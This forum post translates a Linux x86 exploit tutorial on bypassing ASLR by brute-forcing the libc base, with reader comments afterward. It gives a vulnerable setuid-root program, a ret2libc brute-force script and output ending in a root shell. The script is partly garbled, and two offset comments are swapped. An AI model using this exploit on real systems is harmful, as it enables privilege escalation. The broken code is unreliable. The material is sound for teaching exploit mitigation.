首页
社区
课程
招聘
[翻译]Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
2017-5-1 18:23 8613

[翻译]Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分

2017-5-1 18:23
8613

译者:飞龙

原文:Bypassing ASLR – Part II

本文承接 @hackyzh 翻译的第六篇

预备条件:

经典的基于栈的溢出

VM 配置:Ubuntu 12.04 (x86)

这篇文章中,让我们看看如何使用爆破技巧,来绕过共享库地址随机化。

什么是爆破?

在这个技巧中,攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。假设你足够幸运,这个技巧是用于绕过 ASLR 的最简单的技巧。

漏洞代码:

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
}

编译命令:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

让我们来看看,攻击者如何爆破 Libc 基址。下面是(当随机化打开时)不同的 Libc 基址:

$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
$

上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。在下面的利用代码中,让我们选择0xb7595000作为 Libc 基址,并让我们尝试几次。

利用代码:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
libc_base_addr = 0xb7595000
exit_off = 0x00032be0             #Obtained from "readelf -s libc.so.6 | grep system" command.
system_off = 0x0003f060           #Obtained from "readelf -s libc.so.6 | grep exit" command.
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d
#endianess convertion
def conv(num):
 return struct.pack("<I",numystem + exit + system_arg
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)
print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 256):
 print "Number of tries: %d" %i
 i += 1
 ret = call(["./vuln", buf])
 if (not ret):
  break
 else:
  print "Exploit failed"

运行上面的利用代码,我们会得到 root shell(在下面展示):

$ python exp.py 
Calling vulnerable program
Number of tries: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
...
Number of tries: 42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
Number of tries: 43
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

注意:也可以爆破类似的栈和堆段的地址。



[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞2
打赏
分享
最新回复 (10)
雪    币: 1746
活跃值: (227)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
hackyzh 3 2017-5-1 19:47
2
0
可以的,终于有人接下去翻译了
雪    币: 263
活跃值: (77)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
Zn风扇 1 2017-5-8 06:57
3
0
有个问题就是每次启动地址都不一样,那么爆破的时候爆破一次重启一次,爆破目标地址也是不固定的,所以不能说最多256次吧
雪    币: 704
活跃值: (228)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
飞龙使者 4 2017-5-8 09:35
4
0




Zn风扇

有个问题就是每次启动地址都不一样,那么爆破的时候爆破一次重启一次,爆破目标地址也是不固定的,所以不能说最多256次吧

1.  PLT  无论开不开  ASLR,对于一个程序都是不变的。

2.  x86  的  ASLR  最多变八位(0x000**000),不信你可以拿`ldd`去试试。x64  就没办法了。

雪    币: 704
活跃值: (228)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
飞龙使者 4 2017-5-20 10:12
5
0
hackyzh 可以的,终于有人接下去翻译了[em_13]
我就花了两天半,也不是很费劲吧。
雪    币: 96
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lzldhu 2017-12-11 13:04
6
0
飞龙使者 Zn风扇 有个问题就是每次启动地址都不一样,那么爆破的时候爆破一次重启一次,爆破目标地址也是不固定的,所以不能说最多256次吧 1.&am ...
请问  PLT对于一个程序都是不变的是什么意思?对于return  2  PLT实验时开启aslr后vuln模块的基地址也变化了,并非如文中所说的仅.so发生变化,PLT@system也就不固定,那么return  2  PLT有什么意义吗?望指点一下
雪    币:
活跃值: (172)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ricroon 2017-12-11 13:14
7
0
原来也试着翻译过一些东西,可惜英文实在差,楼主加油啊
雪    币: 704
活跃值: (228)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
飞龙使者 4 2018-1-1 00:41
8
0
lzldhu 请问 PLT对于一个程序都是不变的是什么意思?对于return 2 PLT实验时开启aslr后vuln模块的基地址也变化了,并非如文中所说的仅.so发生变化,PLT@system也就不固定,那么ret ...
你到代码段里面找`printf`或者`system`的`CALL`指令,就明白了。
雪    币: 96
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lzldhu 2018-2-8 10:51
9
0
飞龙使者 你到代码段里面找`printf`或者`system`的`CALL`指令,就明白了。
实验选用的是debian  x86而非ubuntu  x86,实现上有差别,哈哈
雪    币: 973
活跃值: (136)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Cruc1an 2019-3-25 14:58
10
0
为什么system函数的参数是固定的啊
雪    币: 2337
活跃值: (10053)
能力值: ( LV9,RANK:230 )
在线值:
发帖
回帖
粉丝
jmpcall 3 2019-3-25 15:06
11
0
期待part-III堆的那部分
游客
登录 | 注册 方可回帖
返回